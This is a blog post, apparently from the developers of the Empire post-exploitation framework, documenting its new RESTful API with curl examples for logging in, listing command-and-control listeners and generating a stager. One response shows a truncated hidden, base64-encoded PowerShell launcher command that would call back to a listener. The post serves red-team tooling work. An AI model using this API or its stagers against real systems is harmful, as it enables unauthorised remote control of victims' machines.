Empire’s RESTful API

This post is part of the ‘Empire Series’ with some background and an ongoing list of series posts [kept here].

[tl;dr] The Empire RESTful API is documented here on the Empire GitHub wiki.

Last week, Empire’s 1.5 release included a RESTful API implementation which I hinted about previously. This effort was inspired by a conversation with @antisnatchor from the BeEF project while at the Troopers conference this year- big shoutout to him and Carlos Perez for inspiration and feedback as the API was being developed. This post (and the code itself) wouldn’t exist if it wasn’t for both of your efforts.

RESTwut

REST stands for ‘REpresentational State Transfer’, and an API can be considered RESTful if conforms to the constraints of REST. According to Wikipedia, “The name “Representational State Transfer” is intended to evoke an image of how a well-designed Web application behaves: a network of web pages (a virtual state-machine), where the user progresses through the application by selecting links (state transitions), resulting in the next page (representing the next state of the application) being transferred to the user and rendered for their use“. The way I interpret it- it’s a way to design an API based on HTTP verbs and JSON requests/responses that behaves in a particular way and conforms to a reasonable standard.

Long story short, there’s now a method for external users/projects to interact with an established Empire instance in predictable way, controlling all aspects of an Empire control server. Empire’s RESTful API is implemented with Flask, inspired by Miguel Grinberg’s series of articles. It’s based on the token-auth model set forward by BeEF and aims to avoid some of the recent security concerns with the Veil-Evasion RPC interface I designed over a year ago. Protip: don’t design an interface that binds to 0.0.0.0 and lacks any kind of authentication ;)

So What?

But really, so what? Why spend the time to build this, and why does it matter? What’s the point?

By exposing the control of an Empire instance in a predictable fashion, we’re opening up Empire for integration into other projects. I originally didn’t think this was a big deal until @antisnatchor convinced me otherwise, pointing out the what the community had done with Metasploit and BeEF itself. And already the venerable and prolific Carlos Perez has build a PowerShell Empire controller, PowerEmpire, with a great quickstart here. It is now possible to control an Empire server through a pure set of PowerShell modules, meaning you can op from a Windows system without installing Empire itself! @antisnatchor  also mentioned that Empire will potentially integrated into BeEF soon.

So what else is possible? Web front ends, Empire-controlling Android apps, multi-player Empire CLI UIs that managed multiple instances (which we’re already working on ; ), and anything else the community can think up. We’re hoping this opens the doors for some awesome new projects.

Empire’s RESTful API Design

I spent a chunk of time trying my best to design the API properly, and Carlos was a huge help in this area. The API was essentially designed in tandem with Carlos’ PowerShell module, with us going back and forth for a week with design feedback and various tweaks. We’ve started documenting these efforts for the complete state of the API on the Empire GitHub wiki. Sidenote: We’ve also started cloning parts of the www.PowerShellEmpire.com site to the wiki as well. Most of this post section is a mirror the API wiki documentation.

So, to get started. There are two ways to launch the Empire RESTful API. You can start a normal Empire instance instance with ./empire, and then in another windows run ./empire --rest. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI. Alternatively, you can run Empire ‘headlessly’ with ./empire --headless, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages. If you want to still interact with a normal Empire UI, launch a --rest instance from another tab, and if you want to run Empire on a remote node without interaction, use the ./empire --headless, option.

By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying --restport <PORT_NUM> on launch.

The default username for the API is ’empireadmin’ and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using sqlitebrowser ./data/empire.db, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with --username admin --password <PASSWORD>.

The Empire API uses a simple token-based auth system similar to BeEF’s. In order to make any requests to the API, a ?token=X parameter must be supplied, otherwise a 403 error is returned. The token is randomly generated on rest API start up and displayed on the command line.

# ./empire --rest --password 'Password123!'

[*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

To retrieve the session token through the login interface, you can POST a request to

/api/admin/login. Here’s an example with curl:

# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 57
Server: Werkzeug/0.11.4
Date: Thu, 31 Mar 2016 23:38:59 GMT

{
  "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
}

This token can now be used to request any of the Empire API actions to control nearly every aspect of an Empire instance, from enumeration/starting/killing listeners, to controlling agents, generating stagers, shutting down/restarting the server, and more. All current actions are documented here. There’s also a gist here that demonstrates some of the common actions. For example, here’s how to enumerate all the currently running listeners:

# curl --insecure -i https://localhost:1337/api/listeners?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 556
Server: Werkzeug/0.11.4
Date: Fri, 01 Apr 2016 07:40:49 GMT

{
  "listeners": [
    {
      "ID": 1,
      "cert_path": "",
      "default_delay": 5,
      "default_jitter": 0.0,
      "default_lost_limit": 60,
      "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
      "host": "http://192.168.52.173:8080",
      "kill_date": "",
      "listener_type": "native",
      "name": "test",
      "port": 8080,
      "redirect_target": "",
      "staging_key": "m@T%...",
      "working_hours": ""
    }
  ]
}

And here’s how to generate a stager for that same listener:

# curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"test"}'
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 2342
Server: Werkzeug/0.11.4
Date: Fri, 01 Apr 2016 07:42:56 GMT

{
  "launcher": {
    "Base64": {
      "Description": "Switch. Base64 encode the output.",
      "Required": true,
      "Value": "True"
    },
    "Listener": {
      "Description": "Listener to generate stager for.",
      "Required": true,
      "Value": "test"
    },
    "OutFile": {
      "Description": "File to output launcher to, otherwise displayed on the screen.",
      "Required": false,
      "Value": ""
    },
    "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JABXAEMAPQBOAEUA...TgAnACcAKQA=",
    "Proxy": {
      "Description": "Proxy to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "ProxyCreds": {
      "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
      "Required": false,
      "Value": "default"
    },
    "StagerRetries": {
      "Description": "Times for the stager to retry connecting.",
      "Required": false,
      "Value": "0"
    },
    "UserAgent": {
      "Description": "User-agent string to use for the staging request (default, none, or other).",
      "Required": false,
      "Value": "default"
    }
  }
}

You can see the actual stager information in the Output field of the returned JSON. Sidenote: for any stagers that require an OutFile, the base64-encoded output file will be returned in the Output field.

Looking Forward

While the API is in a reasonable state, I’m sure there’s still work to be done as we’ve never designed a proper API before- if you have substantial feedback or design concerns let us know! We’ll integrate appropriate changes and get them pushed out. We want the API to be as standardized and usable by the community as possible, and look forward to what everyone can produce!

 

1 thought on “Empire’s RESTful API”

  1. Pingback: Gettin’ Down with Aggressor Script | Strategic Cyber LLC

Leave a Comment

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.